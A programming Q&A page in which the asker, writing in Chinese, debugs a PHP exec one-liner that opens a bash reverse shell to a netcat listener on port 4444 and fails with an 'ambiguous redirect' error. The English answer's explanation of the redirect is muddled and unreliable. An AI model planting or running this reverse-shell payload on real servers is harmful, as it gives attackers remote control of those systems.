Question

我有一个在端口4444上运行的netcat监听器 nc -nlvp 4444

我有我正在调用的PHP代码：

<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/xx.xx.x.xx/4444 0>&1'");?>

但是，当我调用这个php代码时，我在netcat监听器上得到以下内容：

listening on [any] 4444 ...
connect to [xx.xx.x.xx] from (UNKNOWN) [xx.xx.x.xx] 59914
bash: 1");: ambiguous redirect

造成这种情况的原因是什么？

由于

Answer 1

The error means exactly what it says — you have a redirect that is ambiguous.

"unclear or inexact because a choice between alternatives has not been made."

0>&1

Your command takes file descriptor 0 (stdin) and redirects to file descriptor 1 (stdout), which is seemingly meaningless without another descriptor behind it.

Here's an example which illustrates the ambiguity:

bash -c 'ls >& $(echo "testing") 0>&1'

Which is the same as:

bash -c 'ls >& $(echo "testing")'

Although adding another descriptor behind the redirect:

bash -c 'ls >& $(echo "testing") 0>&1 *'

The output file excludes itself when the descriptor doesn't already exist.

↳ Bash Reference Manual: Redirections - GNU.org

bash：1“）;：我的nc监听器上的模糊重定向

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